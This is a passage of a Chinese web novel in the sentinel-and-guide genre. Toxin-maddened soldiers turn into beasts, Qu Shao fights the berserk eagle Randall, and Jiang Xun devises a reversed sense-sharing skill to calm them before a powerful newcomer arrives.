他深深地低伏了下去，四肢骨骼咯吱咯吱的，以令人牙酸的方式硬生生反曲过去，扣在地面上的手指往下一勾，化为一只巨爪，面部飞快变形前凸，紧闭着的双眼猛地睁开，现出一双紧缩成线的冷血兽瞳。 随着一声“嗷呜！”长啸，一头目光狠戾，嘴边涎水横流的黑色巨狼赫然出现在了众人面前！ 不等所有人反应过来，这头新生的巨狼一睁开眼睛，就怒吼着大口一张，四肢用力在地上一蹬，携着腥风狠狠扑向了站在他旁边的昔日伙伴。 不祥的预感化为现实，兰德尔瞳孔骤缩，大吼下令：“拦住他！” 同时，手腕往腰间一抄，能量手枪便出现在了他的手心中，保险“咔哒”一声被打开，黑洞洞的枪口，便瞄准了巨狼的后肢。 然而，巨狼的行动太快了，与其他人的距离也太近了，还没等他的命令声传入人群之中，右侧离得最近的一名士兵已经被巨狼的第一道扑击扑倒在地，狼牙狠狠地嵌入了肩膀。 “啊——！” 一声惨嚎声响起的刹那，许多士兵才如梦初醒般看清了面前的一切。 然而，这只巨狼的突袭仅仅只是个开始。 那响起的一声兽吼，就像是打开了一扇通往地狱的大门。 还未等周围的士兵举枪瞄准那头疯狂的巨狼，接二连三的嘶嚎声，几乎同时从队伍的不同位置爆发出来！ 应接不暇之间，一道道身影如第一个士兵一般接连失控拟化，衣服的撕裂声，血肉骨骼的错位生长声，令人毛骨悚然。 “啊！别过来！我要开枪了！” “里欧！你在干什么？！清醒一点！” “呃啊——！去死！” 痛心的怒吼，凄厉的惨叫与混乱的惊呼声，骤然从队伍各处炸开，几秒钟之前还能称得上整齐的队伍乍逢剧变，瞬间乱作一团。 有的士兵彻底与精神体同化，变身恐怖巨兽冲入人群；有的一部分躯体突兀变化，长出利爪尖牙疯狂向四周攻击；有的士兵对于身边发生的一切仍然无动于衷，混混沌沌地机械前行；还有的，被混乱的人群一撞便轰然倒在了地上，以诡异奇怪的姿势在地上扭动挣扎。 然而唯一相同的是，这些人全部眼眸空洞，表情混乱夸张。有的陷入了呆滞，有的陷入了疯狂，还有的，被极端情绪吞噬，无法自拔。 仅有少数几人在这突发的变故之中仍保住了一丝神志，试图执行兰德尔的命令抵抗危险。然而，扭曲的感官已经令他们对自己的身体失去了控制，连好好站稳都非常困难，根本无法组织起有效的行动，仅能勉强用手上的武器护住自己。 “后退！所有还能行动的人，马上向我靠拢！”兰德尔目眦欲裂地看着面前的一片地狱场景，心痛得滴血。他声嘶力竭地大喊着，试图收拢起残存的力量，保住最后的希望。 看着那些已经无力抵抗的身影，他终于狠下了心肠，打算壮士断腕，处理掉那些已经完全狂化的士兵们。 可就在他刚迈出一步的瞬间，却感到一阵剧烈的眩晕感袭来，面前的整个世界忽地在他眼前变形扭曲，化为一片血红！耳畔“嗡”地一声炸响，接收到的所有声音失控交错起来。惨叫声，兽吼声，枪械射击的声音，撞击咀嚼声，全部像是乱了套，时而震耳欲聋，时而弱如蚊讷。 他脑中一空，就这么直挺挺地栽倒了下去，侧身“砰”一声砸在了地面废墟上，手中握着的手枪被一下子甩脱了出去。 “怎……么……”摔倒的疼痛缓慢通过皮肤传入神经中枢，他的侧脸紧贴在地面上，思维有点缓慢地看着近在咫尺的脏污地面，面上一片空白。 他试图抬起一只手撑起自己，却发现自己的手臂沉重得不再听他的使唤。皮肤下，一阵熟悉却在此时显得格外诡异的麻痒感蔓延开来…… “不……怎么会……”兰德尔的眼中第一次流露出了难以置信的惊惧表情，下一刻，他眼睁睁地看着自己的手臂扭曲了起来，然后无法控制的暴涨拉长。无数尖利的羽刺从扩张到极致的毛孔中钻了出来，迎风迅速变得坚硬，覆满羽翅。 他的前胸一鼓，肋骨化为龙突，撑破了笔挺规整的礼服，一股如火山喷涌般的炙热能量在身体中炸开，气流从喉管上涌，他的嘴巴不由自主地张开、变形，化为坚硬的鸟喙，喉咙里压抑不住地发出一声尖锐的非人戾啸。 他的眼中浮起一抹绝望，心中在此刻终于想起了曲绍的再三警告，却为时已晚。他的意识被体内燃烧着的火焰灼烧着渐渐吞噬，最后的视野中，是彻底被血色与疯狂充斥的人间地狱。 全完了…… 最后一个清晰的念头闪过脑海，他的意识彻底陷入了无边黑暗。 不远处的西侧空地上，一直死死盯着前方的曲绍、江寻几人，以及仍然在忙碌着的黑街众人，眼睁睁地目睹了这发生在眼前的骤变。 看着那支几分钟之前还威慑着他们，不得不退避一隅的精锐小队，在这短短的时间内，化作一片疯狂混乱的兽群与血肉地狱，看着那个始终高昂着头颅，精致高傲的兰德尔在转眼间人性消逝化为禽兽。 没有人说话，四下里一片死寂，只有零星几声吞咽唾沫的声音响起。 曲绍缓缓闭上了眼，发出一声充满了无力感的叹息。 然而，没有时间留给他们继续去感叹了。曲绍猛得睁开眼，环顾一圈周围所有的手下和江寻几人，心中最后一丝犹豫被他彻底摒弃，久未重燃的熊熊战火，自胸腔中轰然燃起。 他一把扯下身上的外套，露出精悍强壮，遍布疤痕的上身，盘踞在侧颈的狰狞黑蝎，尾部在心脏处一勾，凶戾气场骤然爆发！ “所有人听令！”他的声音如同雷霆炸响，瞬间惊醒了被眼前这番骇人景象震住的人群，“救援行动重新开始！所有人远离前方失控的防卫部小队，优先救援外围的平民和中毒程度不深的人员，安置地点再往后推一百米！按照原定计划，立刻开始行动！” “巴顿！”他扭头看向身侧，“带着你的人隔离前方小队，牵制完全狂化的哨兵，为救援人员提供安全保障！丽安娜！” 他猛得看向一旁脸色难看的女人：“后续的指挥就交给你了！联系一下援军，更新情报。协调人手，尽量把所有人往外围撤，不能面面俱到了，在援军到来之前，咱们能救一个是一个！” “曲绍！你要干什么？！”听到曲绍的交代，丽安娜心中升起不妙的预感，忙抓住了他的手臂，急声问道。 “兰德尔那个蠢货是个A级哨兵！”曲绍的目光死死锁定前方那片混乱区域的最后方。那里，一头翼展惊人，至少有五六米高，浑身覆满暗金色尖锐翅羽的巨鹰，正缓缓现出身形。 它的鸟喙向着天空不断发出声声戾啸，一双乌黑兽瞳散溢出阵阵红光，翼翅的一次拍打便能扇飞一个站在身边的身影。正是已然彻底堕化为一只禽兽的兰德尔。 “不仅是A级，还是个能上天的杂毛鸟。”曲绍活动了一下筋骨，往地上啐了一口，“现在这儿只有老子一个A级，我得趁着他现在刚疯，还没适应这身力量飞上天，把他按死在地上。否则，一旦等他活动开，彻底飞起来了，现在在场的，有一个算一个，全是他的活靶子！” “可是……”丽安娜面带迟疑，看了一眼曲绍，又看了一眼不远处在毒气弥漫之下依然慢慢站起身来的巨鹰。 “我会戴好护具过去的，丽安娜，我相信你，这边就交给你了！”曲绍一把抓过一支药剂咕咚咕咚灌了下去，而后再次环视一圈周围已然反应了过来，脸上写满了恐惧的手下们，声音沉沉： “有点骨气的都给老子撑住了！能拖多久拖多久！让那帮子眼睛放在头顶上的杂碎们看着，我们这帮让他们看不起的渣滓是怎么给他们擦屁股的！丽安娜已经叫了援军，支援的人已经在路上了，在他们赶到之前，谁他妈也不准给我死了！” 不远处，留守的那名防卫部小队长看着不远处的一片炼狱情景，早已面无人色。 眼看着不久之前还并肩战斗的同僚转眼间化为嗜血野兽与满地肉泥，看着备受尊敬的自家长官化为了威胁着他们所有人生命的死神，此刻，他终于彻底相信了曲绍之前的警告。 他颤抖着手，用哨兵核心连接上了防卫部内部专用频道，干涩的声音几乎吼到撕裂：“指挥中心！指挥中心！这里是D-7区兰德尔小队！黑街爆炸事件出现意外，兰德尔少校及行动小队全员遭遇高浓度未知毒素侵蚀，已大规模失控狂化！重复！已全员失控！请求愈灵殿医疗小队及超A级武力即刻支援！快！” 曲绍几人此刻已无暇顾及那小队长的崩溃低吼，他将所有事情交代下去，最后把目光投向了江寻，语气中带着愧疚与恳切： “希先生，抱歉！把您扯进这么危险的境地里……但我还有个不情之请，之前被控制住的狂化哨兵中，有一些人狂化程度还不算深，特别是那几个B级哨兵……您能不能想想办法，让他们清醒过来？哪怕只有几个人也好，我们现在实在急需高阶战力帮忙！” 从行动小队发生异变开始，江寻的目光就没有离开远处的那片混乱，明明是无比危急的时刻，此时，他的脑海中却不合时宜地想起了不久之前艾略特教授的一番话语。 找到自己的核心本质，构建起属于自己的独一无二的规则。 净化……也许不仅仅只能用于治疗，或许也可以是……安抚与平息？ 一个模糊却大胆的念头在他的心中迅速成型。 他看向殷切看着他的曲绍，“救治这些已经被压制住的哨兵，并不是当务之急。现在一个一个地唤醒他们，也是杯水车薪，改变不了大的局面。”江寻的情绪，在这一刻异常的冷静清晰，再看一眼不远处的战场，他的声音坚定，“我跟你一起过去。” “什么？”曲绍一楞，被江寻此刻出乎意料的话语惊住，随即立刻反对，“不行！您是重要的高级向导，怎么能涉险去最前线？！太危险了！您可以帮助我们多救治几个有生力量，就已经是最大的帮助了！” “不先解决源头的话，在这里一样危险。”江寻打断了曲绍的话，抬手指向前方，“你看看，那些狂化的队员，已经在工厂里打得越来越深入了，若是放任他们继续下去，万一再次引爆了这个工厂里可能储存着的药物的地方，造成二次毒气泄露，那我们全部的人都要完蛋。” “而且，”江寻话音一转，语气里有了些不确定，却依旧坚定如初，“我觉得我的能力不仅仅只能用于治疗疏导，也许能够帮得上忙。至少，应该能让你的行动更加顺利一些。” 曲绍看着江寻那双始终沉静让人信赖的眼睛，又看了看不远处再次倒塌了一片厂墙的战场，终于咬了咬牙：“好！但是你一定要跟在我身边，情况一有不对，就马上撤退！” 江寻应声。 于是，两人不再多言，迅速戴上了新采购回来的强化防毒面罩。江寻还扣上了特制的战术腰带，将一排与镇静剂混合后的解毒药剂塞进了腰包里。随着曲绍向着前方疾步前冲过去。 行至近前，曲绍深吸一口气，周身气场轰然爆发开来，来自A级巅峰哨兵的强大精神力场猛地扩散开来，如有实质的风压让他周围的一片圆形区域都沉重了下来。 下一秒，他整个人向前俯趴了下去，身体发出一阵“咯吱咯吱”的骨骼脆响，迅速拉长变形。一层黑色粘液从毛孔中溢出，覆盖在他的皮肤表面，迅速变硬，化为一身漆黑甲壳。 尾椎皮肤上一阵鼓动，皮肤猛地撕裂开来，一条黝黑粗长，泛着寒光的蝎尾轰然破体而出，在空气中挥动一下，便甩出一阵撕裂空气的风声。 鼎鼎大名的黑街曲绍，化出了他赖以成名的强悍精神体——黑蝎！ 几乎同时，已然近在咫尺的那头巨鹰，似乎也感受到了来自身前生物的强大威胁，发出一声穿金裂石的尖啸，双翅猛地往地面上一扇，满地的残垣断石刹时被巨大的压力击中，崩碎四散而飞。 下一秒，巨鹰的脊背一提，眼看就要离地而起。 电光石火间，那刚刚化出全身的黑蝎，巨大的身体在此刻却展现出了不同于外表的迅猛，只见它巨大的蝎尾往地上一甩，强烈的反作用力加持下，瞬间弹射而出，身前两只巨大的蝎钳寒光闪闪，在那千钧一发之际，精准地钳上了巨鹰刚刚下压的一双翅膀！ “唳——！”一声凄厉的惨嚎声响起，伴随着骨骼碎裂的声响，巨鹰一声哀嚎，刚刚腾空数米的巨大身躯骤然一矮，两只庞然大物纠缠着、翻滚着，狼狈砸落地面，激起漫天烟尘。 下一秒，蝎钳与利爪如钢铁相撞般擦出火星，毒尾与长喙闪电般交错戳刺，两只站在食物链顶端的顶尖掠食者疯狂厮杀在了一起。 两人的动作太快，江寻丝毫插不进手，见曲绍与巨鹰相斗丝毫不落下风，便没有在这里继续停留，从旁侧灵巧绕过这片危险的战场，奔向更远处那群或疯狂攻击，或懵懂茫然，或拼死抵抗的士兵们。 第144章 江寻伏低身体， 快速穿越过燃烧的烟尘灰烬与零星打歪的能量光束，逼近那片深入厂区的混乱中心。 刺耳的兽吼，痛苦的呻吟尖叫， 满目的污血碎肉， 以及建筑物被巨力撞击的轰鸣声交织在一起， 激得他心神紧绷到了极致。 在这片充斥着高阶哨兵的战场上，他D级哨兵的身体素质，只能非常勉强的保住自己的安全， 他必须要时刻保持警惕， 才能继续后续的行动。 越过数道被破坏的地面，他终于来到了中心区域。 看着面前疯狂混战在一起的数十个人形怪物，江寻强迫自己冷静下来，精神高度集中，一边观察着前方失控的哨兵，一边回忆着之前为沃特几人治疗时发现的细节。 当时沃特三人的中毒程度没有面前的这群人深， 但是毒素的性质与作用原理是相同的。 这种毒素， 不是那种常见的以破坏、摧毁为主要目的的破坏性毒素， 它的本质作用是极致地放大与扭曲感官信号。从这一点上来看，它甚至不能称之为毒。 比喻起来的话， 就好像将收音机的音量旋钮瞬间拧到了最大，同时， 还疯狂地旋转调频旋钮，让哨兵本就敏锐的五感在一瞬间内错乱过载， 从而刺激得大脑启动保护机制，强制令神志沉睡下去，从而保护自身。 而他们或懵懵懂懂，或疯狂攻击的不同躯体反应， 实际上是神志沉睡后，身体为了自我保护，而激发出的潜意识行为。 因此，对于这种严格意义上来说，并非毒素、污染的成分，他的精神力净化效果并不突出，只能靠附着剂排出大部分药物成分，使对方清醒过来之后，再利用他们本身作为哨兵的强大□□复原力，在后续的调养中逐渐排除体内残留的毒素。 那么，若是想要在短时间内解决问题，关键或许不在于净化，而在于调节。 既然一时无法彻底排除毒素，那么要让他们平静下来，应该还有其他的方式，比如减弱他们被过度放大的五感信号，又或者截断其五感信号的传导路径。 只要他能想到方法，将他们接收到的五感信号强度，回落到大脑可承受的阈值之内，那么他们在潜意识之下的攻击行为，应该就会因为刺激减少而减弱下来。甚至，意识也有可能重新甦醒过来，拿回身体的控制权。 江寻的思路逐渐清晰起来。 那么，现在的问题就是，要如何实现这个目的。 阻断感觉信号的传导路径？这应该是偏攻击向的一种技能，他所学会的向导技能大多是偏治疗辅助向的，他没有接触过类似的技巧。 屏蔽掉一部分感觉信号？他会的A级向导技能里还真的有个与其相关的。 A级技能“镜像痛觉传导”，能够帮助哨兵屏蔽掉50%的□□痛苦，但是副作用是需要运用技能的向导与哨兵平分剩余部分的痛苦。 凭他比哨兵弱得多的身体素质，若只作用一人，那他应该能承受下来。但若是将技能作用的范围扩大到所有五感，作用目标又是眼前这几十个陷入狂暴的高阶哨兵……恐怕在传导建立起来的瞬间，他自己的大脑就会先一步被海量的混乱信息冲垮。 这个方法风险太高了，大概率行不通，只能先列入备选行列。 还有什么方式呢……直接从源头减弱他们的五感灵敏度？ 如果他们接收信号的“端口”变得迟钝，从一开始的阶段就过滤掉一部分感觉信号的输入呢？ 一个很久之前使用过的技能划过江寻的脑海。 他在无人星上时，曾与小树建立链接，共同施展出来的C级向导技能“五感共享”！ 这个技能原本是让向导同步感知到一名与他建立链接的哨兵的五感，令他可以共享到哨兵的超绝身体素质。这种共享，可以是单一的感觉，也可以扩展到多种知觉。副作用是，在链接过程中，向导本体的相应感官灵敏度，会被暂时下降约30%左右。 如果，将这个技能的作用双方反过来呢？ 不是让作为向导的他去分享哨兵敏锐的五感，而是强制让哨兵来分享自己“迟钝”的五感？并且在这个过程中，哨兵自身的五感灵敏度也会因为副作用，减弱30%！ 江寻越想越觉得可行，最重要的是，这只是一个C级技能，即使他需要对复数个哨兵同时使用，对精神力的消耗也比高级技能少得多，以他如今已经达到S级的精神力总量来说，应该可以维持一段时间！ 既已定计，江寻不再犹豫。 眼神一凝，调整好自己的状态，深吸一口气，意识便沉入了自身那片称得上浩瀚的精神海中央。 海面翻滚波动起来，精神力被激活，随着他的意念翻涌而上。 他抬起双手，看向前方的战场，十指微动起来。 霎时间，数以百计比发丝更加纤细，却凝练坚韧的精神力细丝，从他的指尖喷薄而出，如无数拥有生命的灵蛇，在空气中摇摆寻觅一瞬，便精准地穿越了面前混乱的能量场，悄无声息地扎入了前方每一个哨兵的体内。 这不是一种攻击，亦不是治疗，而是一种单纯的“联系”，通过这一根细丝，让自身与对方建立起精神上的链接，为他后续的技能提供传输通道。 接下来，是重构技能模型，交换作用双方！ 江寻眼帘微垂，这一段时间在圣所中的学习，为他打下了坚实的理论基础，也使得重构技能成为可能。 他在心中快速地进行推演与计算，将“五感共享”这个技能中，接收哨兵感官信号的模块摒弃掉，更换成另外一种，输出自身感官状态的模式。并将输出信号的精度调低，尽量扩大“迟钝”的作用效果，同时降低自己的精神力消耗。最后，调整技能的作用范围，使这个技能，可以从一对一扩展到一对多。 刚开始构建时，他的思绪还有些滞涩，可随着进度推进，越来越多往日里学习过的知识，在他的脑海中逐步融会贯通，他的思维越来越清晰，速度越来越快！ 可同时，这种几乎是完全重构一个全新技能的行为，也让他的脑力与精神力的消耗，呈指数级上升。即使以他高达S级的精神海总量，也在几分钟的推导后，感觉到了一阵眩晕与轻微的撕扯感。 ……通道建立完毕，传导开始…… ……开始传导五感信号，开辟对方的第二感官视野…… ……最后，稳定信号，调整每个端口的精神力强度，持续输入…… 众多等级不同、与自己匹配度也各异的哨兵，令江寻的计算量暴增，他的脑海中沸如滚水，额头渗出大颗大颗的冷汗。 就在他感到几乎难以为继的那一瞬间，所有的精神力丝线猛地一亮，同时颤动了起来，一种奇特的共鸣感，在江寻与各个链接者之间建立了起来，下一刻，狂涌而出的精神力一缓，改换为固定数额的平稳输出，所有链接者已然沸反盈天的脑子里骤然一清，一套来自外部另一个人的“迟钝”五感信息被连通了过去。 成了！ 江寻猛得睁开双眼，双目爆发出一阵喜悦。 下一秒，技能的效果显现出来。 一个正咆哮着将身旁沉重的金属设备抡起，准备砸向面前已然瘫倒的目标的半熊士兵，动作猛地一滞，血红的兽瞳中闪过一丝茫然，而后，抡到半空的设备轨迹偏离了过去，“哐当”一声砸落在了地面上。 另一个正用拟化出的粗壮兽爪挥向身周的哨兵，动作忽然变得迟缓起来，狰狞变形的面孔也稍稍舒展了开来，抓挠的力量与速度骤然减弱下去。 几个眼神空洞，呵呵傻笑着，机械地活动着双腿游荡的士兵，脚步越来越慢，脑袋动了动，茫然地扫过身周，呆滞的目光微微晃动一下。 效果最显著的是几个仍维持着一分清醒，却控制不了自身行动的哨兵。只见他们眼眸一瞬大睁，清明了许多，而后，肢体动作也流畅了一些，应对起狂化士兵的压力骤降。 有效果！真的能成！ 江寻心中猛地一振。 混乱的战场上喧嚣依旧，但明眼人都能看得出，所有人的动作幅度都减小了许多，那股萦绕在这片环境中，令人窒息的疯狂氛围，在江寻的技能成功发动的刹那间，无声无息地消散了不少。 这看似细微的表现，令现场的形势立转，从一面倒的残杀，变成有攻有守的对抗。 江寻半蹲在一片残垣背后，周身缭绕着的上百根无形丝线，如牵着众多风筝的线，死死地拽住了丝线另一头的哨兵们。 持续的精神力输出，令他的脸色微微发白，但那双眼睛却亮得惊人。 可以了，这边暂时能控制住了，接下来，就要再想办法找到破局之机了！ 江寻深切的知道，这样的压制，依托于他庞大的精神力储备，他必须在自己的精神力达到极限之前，为这场战斗找到转机。 想到这里，江寻的目光先是投向了身处外围，正以谨慎而快速的动作救助平民，并向后方转移的丽安娜等人。又将目光收了回来，落向不远处那场双A级别的巅峰战斗。 是了，成功率最高的破局点，还在曲绍这边。 在江寻与正在撤退的黑街众人中间，曲绍化身的黑蝎与兰德尔的巨鹰依旧搏杀得难分难解。 如合金般坚硬的甲壳，每每与摧金裂石的利爪碰撞，都会爆出一声刺耳的交鸣，迸射出一片四溅的火星。 在这样高强度高频率的碰撞下，只这么短短一段时间，黑蝎的甲壳上已经有了多处破损，黑红色的黏腻液体滴滴答答地落下。 而巨鹰也没有占到便宜，甚至因为没有神志的原因，受伤情况更重。 它的一边翅膀明显扭曲了起来，已经无法带动沉重的躯体高高飞起，只能凭借着滑行、扇拍的方式不停与黑蝎撞击在一起。身上被蝎尾划开的狰狞伤口一片黑紫，明显，不仅受到了外伤，更中了蝎尾所携带的剧毒。身上的羽毛早已不复最初的威风模样，凌乱斑驳，不少断茬处还汩汩向外涌流着鲜血，地上到处散落着已被污成黑色的翅羽。 曲绍本身的精神力水平就要比兰德尔稍高一筹，再加上毒素之利，就算在平时正面对上兰德尔，也更胜一筹。如今与它僵持这么久，完全是因为对方作为禽类天生对他的压制力，以及那不顾后果的疯狂攻势。 即使没有外力介入，这么打下去，胜利者也必定是曲绍。可是，时间有限，时机稍纵即逝，江寻不想再等了，他要尽快帮曲绍拿下兰德尔，让他腾出手来，用自己更加高阶的强悍精神力，将那些被他暂时压制的士兵们彻底控制住！ 心念一动，江寻立刻如法炮制，一根更加凝练的精神力丝从他指尖弹出，悄无声息地射向不远处正在空中翻滚着搏杀的巨鹰。 然而，就在丝线靠近巨鹰的瞬间，鹰身一个转折冲刺，以巨大的躯体几乎不可能有的闪电般速度扑杀而下。缠绕在它身边的那层无形却坚韧无比的精神力场，只是将将擦过江寻的精神力丝线，便将其震得几乎溃散开来。 江寻咬了咬牙，不行。A级哨兵的能力还是太强大了，即使在如今的疯狂状态下，本能的防御也不是他能够轻易突破的，更何况，以对方飞驰的速度，即使自己能够抗衡他的精神力场，也很难精准的锁定上它。 说实话，这种还没触碰便几乎被震散的经历，江寻从没遇到过。 他还没有遇到过与自己如此排斥的精神力场，以前他治疗时接触到的哨兵，很多人的力场几乎都是对他完全敞开的，小树身上的精神力，甚至会主动地牵引着自己的精神体深入它的体内。 这就是精神力强度的差距吗？唔……想到小树，他心下更加明了，也许还有匹配度的原因。 对付这些比自己等级低许多的普通士兵，他的精神力几乎处于压倒性的地位，不管匹配度多少，发动技能时都畅通无阻。而遇上与自己等级更为接近的兰德尔时，技能的成功率，大概就要和匹配度挂钩了，像对普通士兵那样简单的精神力丝线，恐怕很难成功建立起有效的链接。 收回思绪，江寻继续着眼在眼前的战场上，扬起声音，冲着那边的黑蝎喊道：“曲老大！帮我控制住他，只需要两秒！” 正在与巨鹰以伤换伤，疯狂撕打在一处的黑蝎，听到不远处传来的喊话，动作猛地一滞，黑亮的复眼中瞬间精光乍现，明白了江寻的意思。他虽然惊讶于江寻居然能在这么短的时间里，就压制住了旁边的战况，还能分心来帮他，可此时，也没有时间细究。 巨大的黑蝎发出一声尖锐的嘶鸣声以作回应，脑中一转，便改换了战斗模式。 面对着巨鹰再一次的扑击，它不再直面迎上硬碰硬，而是猛地向后一缩，庞大的身躯紧紧蜷缩起来，以自身最为坚硬的一块背甲迎了上去。看似被巨鹰打怕了，想要暂避锋芒。 此时已然失去神志的巨鹰哪里看得出他的异常，面对着敌人的主动退避，发出一声得意的尖啸，巨大的双翅一振，速度再增，两只闪烁着寒光的利爪狠厉地向前探去，带着几乎撕裂空气的戾啸，狠狠抓向黑蝎的身躯。 就在巨鹰扑击而下，离黑蝎最为接近的刹那间，只见那蜷缩成团的黑甲怀抱中，突然裂开一条缝隙。黑蝎一直隐藏在身后的蝎尾，以超越了声音的速度骤然弹出，目标直指迎面而来的巨鹰！ 急速戳刺而来的蝎尾在恐怖的相对速度下，带着尖利的破空声，悍然缠绕上巨鹰前探的利爪。一击得手，黑蝎发出一声刺耳的嘶鸣，扭身将自身所有的力量都集中在了蝎尾上。粗壮的蝎尾缠着巨鹰的利爪猛力一甩，那巨鹰便被狠狠地掼在了地面上，碎石迸溅，砸出一个巨大的地坑！ 巨鹰被这突然的袭击惹怒，发出一声掺杂着痛苦的凄厉怒啸，庞大的身体疯狂挣扎着，想要重新站起。 然而，黑蝎的攻击还没有结束，只见那缠绕着鹰爪的蝎尾一松，而后，尾尖毒针弹出，尖锐的蝎尾如一柄迅猛的长枪，狠狠钉在了巨鹰的一侧翅膀上！ “唳——！”巨鹰目眦欲裂，却因为巨大的痛苦，短暂地失去了反应。 江寻眼中精光一闪，精准地抓住了这一瞬的时机。精神力猛得提起，数根远比刚才的细丝更加粗壮坚韧的精神触须从他身前迸射而出，带着凝聚到极致的攻击性，狠狠刺在了巨鹰周身那层无形的精神力场上！ 巨鹰的精神力场在这个瞬间失去了控制，面对着从背后袭来的触须戳刺毫无反抗之力，摧枯拉朽地便被其侵入了进去。 面对着已经失去神志的巨兽，江寻毫无怜悯之意，精神力触须就那么径直地穿透了力场的防御，强行扎入了兰德尔体内！ 下一秒，精神链接被强行建立起来，新技能，反向五感共享发动！ 精神力如开闸的洪水般泄出，又在技能成功释放后缓慢下来，转为持续的消耗。 巨鹰疯狂挣扎的动作猛地一滞，蕴满了疯狂意味的双眼中，闪过一丝极其短暂的迷茫。 正在疯狂攻击中的兰德尔，只觉得脑中一清，眼中细致入微的画面便突然像被蒙上了一层纱。身周的一切感觉，声音、光影、气息、痛楚，统统像是蒙上了一层棉花，变得遥远而模糊起来。 他的动作不由自主地放慢了下来，周身不可一世的凶戾气势，肉眼可见地衰弱了下去。 眼见着技能生效，江寻心中一松。 电光火石间，又想起了一个前提条件同为建立精神链接，传递自身信息的技能——B级向导技能情绪共振！ 一念至此，心随意转，意识顺着那条被强行建立起来的链接通道一跃而入，瞬间捕捉到了那充斥在巨鹰精神世界里的强烈情绪。 随后，又精准地翻找出了隐藏在一片混乱狂暴之中的那一点点恐惧情绪，以模拟共振的方式将其急速放大；同时，极力减弱了那似要焚尽一切的焦躁愤怒。 充斥在巨鹰胸腔中的情绪立转，它的身躯明显瑟缩了一下，挣扎的力道再次减弱下来。双眼中如火山喷涌的血色淡了几分，取而代之的，是一种少见于其身的迟疑退缩。 它的攻击动作越发缓慢犹豫，力道也立时减弱了几分。 此消彼长之下，胜利的天平开始倾斜。 曲绍是何许人也，即使没有江寻的提醒，也在第一时间察觉了兰德尔的异样。 他完全没有浪费这绝佳的时机，曲折的八条腿蓄力一蹬，便揉身而上，巨大的蝎钳与锋利的毒尾，如狂风暴雨般倾斜下来。 霎时间，无数断裂的羽毛漫天飞溅，巨鹰的嘶嚎声，越来越急促与虚弱，渐渐，化为凄厉的哀鸣之声。 只因这一次成功的辅助攻击，场中形势便如山崩般迅速倾倒了下来。 终于，在一轮狂风暴雨般的攻击过后，黑蝎巨大的蝎钳猛地钳住了巨鹰的脖颈，大声嘶鸣一声，带着万钧之力，将巨鹰反摔下去，狠狠掼向地面。 轰隆！ 伴随着一声震动地面的巨响，碎石烟尘冲天而起。 待烟尘散尽之时，只见那地面都被砸出了一个向外辐射的石坑，巨鹰被扑击而下的黑蝎死死按在了坑底。 黑蝎的毒尾高高扬起，尾刺锋芒毕露地对准了巨鹰已无力反抗的头颅。 胜负已分！ 就在这即将尘埃落定的瞬间，江寻的面上，刚刚露出了一丝笑容，忽然，一股极其强烈的情绪洪流，顺着两人之间被强行建立起来的精神链接，猛地袭上了江寻的心头。 那是在极端的恐惧与绝望之中，被孕育而出的玉石俱焚般的毁灭欲！ 这股突如其来的极端情绪，令江寻骇然失色，失声惊呼出来：“不好！他要自爆！” 一个A级哨兵，在如此近的距离下自爆，产生的冲击力，足以将曲绍和他自己，以及不远处所有被压制住的士兵全部撕成碎片！ 曲绍心中一惊，也明显感知到了脚下巨鹰体内那股正急速攀升而起，如爆发前的火山一般的恐怖精神力波动。 再顾不上留手，他发出一声凄厉的嘶鸣，蝎钳下意识地死命收紧，却似乎来不及在那灭顶的自爆发生之前，将面前的巨鹰彻底杀死！ 就在这千钧一发之际！ 嗡——！ 一股无法形容的，庞大到令人窒息的强悍威压，毫无征兆地从高空中轰然降临！—— 作者有话说：江江的S级之路！ 第145章 这道轰然降临的力场， 与江寻以往所见的所有人，带给他的感觉都截然不同。 它并不狂暴霸道，也非强势骄傲， 却带着一种极端少见的， 仿佛主宰者般的绝对意志与堂皇大气。 庄重而肃穆， 严厉而冰冷，如同一柄高悬于空的达摩克利斯之剑，即将对它锋芒所至处的一切发起审判。 时间在这一刻仿佛静止了下来。 上一秒还在疯狂嘶吼着的狂化哨兵们， 如同被集体按下了静音键， 动作瞬间定格下来，来自生命最深层的潜意识浮现，让他们所有人不由自主地深深躬下了脊梁，朝着那威严的中心匍匐了下去。 而远处，正在奔忙着救助伤员，控制狂化哨兵的黑街众人， 不论普通人还是哨兵向导， 也在这一刻齐齐僵住了身体， 顺着来自生命本能的直觉惊愕地抬头看向天空，仿佛感知到了某个至高无上的存在。 而坑底那只， 前一刻还在凝聚高能能量波动，即将自爆的巨鹰， 也在这股沛然庞大的力场压制下，体内汇聚的能量如冰雪般急速消融， 转瞬间消失得无影无踪。 巨鹰赤红的眼瞳缓缓失去了所有神采，慢慢闭上，随即，彻底失去了所有意识， 向后瘫软了下去。 混乱不堪的战场，在这突如其来的强大力场笼罩下，空气仿佛都沉重了起来，如同突然被浸入了一片清澈而深寂的湖水中，死一般的寂静。 不知从哪里吹来的一阵轻风，穿过残垣，发出轻微的呜咽声，清晰地响彻在每个人的耳边，反而衬得此刻更显安静。 江寻怔怔地站在原地，精神力升阶之后，他的感知能力愈发敏锐，他比在场的所有人都更加清晰地察觉到了这庞大力场中所蕴含的更多东西，也比所有人都为这前所未见的强大力量而感到震撼。 体内的精神力跃跃欲试地躁动了起来，似是被什么东西吸引。江寻心底升起一种非常陌生的感觉，说不清道不明。却毋庸置疑地指向了这道未知的力量。 江寻眼看着这股庞大的精神力场，在兰德尔晕厥过去之后缓缓收束了起来，范围被精准地控制在刚好将他们和防卫部行动小队全部笼罩进去的大小。 随着力场范围的缩小，压在每个人身上的压力倍增。在力场范围内，尚且保持着清醒意识的哨兵们，此时才清晰地感觉到，自身的力量被什么无形地削弱了一层，五感也如同被蒙上了一层薄纱，无论是视觉还是听觉、嗅觉……都模糊了许多。 旁边巨大的黑蝎高高扬起的蝎尾缓缓收了回去，庞大的身躯在这力场下微微低伏了下去，而后，黑蝎身上光线一晃，漆黑甲壳逐渐变得柔软透明，最终隐没于皮肤之下，最后一声嘶鸣出口一半，化作一声藏着痛苦的闷哼。 曲绍恢复了人形，感受着身上被莫名压制下去的精神力，眼中闪过难以置信的震惊，猛地抬头看向半空，待看清了什么之后，浑身一震，一声惊呼脱口而出：“……权杖领域？伊莱·凡纳？！” 听到这个不算陌生的名字，江寻一怔，顿时明白了自己身上的异状从何而来。 再抬头时，一道身影出现在了视野之中，从高空缓缓降落下来。 看着那个身影，第一眼注意到的，便是他背后舒展开来的一对巨大丰盈的暗金色翅膀。 兰德尔的羽翼也是暗金色，可在此人的衬托下，却生生被压得黯淡了下去。 